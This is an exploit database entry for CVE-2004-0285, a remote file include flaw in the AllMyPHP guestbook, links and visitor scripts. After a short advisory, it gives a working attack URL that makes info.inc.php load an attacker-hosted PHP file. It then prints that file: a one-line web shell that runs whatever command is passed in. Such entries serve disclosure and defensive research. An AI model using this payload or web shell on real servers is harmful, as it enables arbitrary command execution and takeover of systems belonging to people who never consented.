AllMyVisitors 0.x - 'info.inc.php' Arbitrary Code Execution

Author: Pablo Santana
type: webapps
platform: php
port: 
date_added: 2004-02-16 
date_updated: 2012-12-27 
verified: 1 
codes: CVE-2004-0285;OSVDB-6720 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/9664/info

Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.

This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:

<?php
system("$cmd");
?>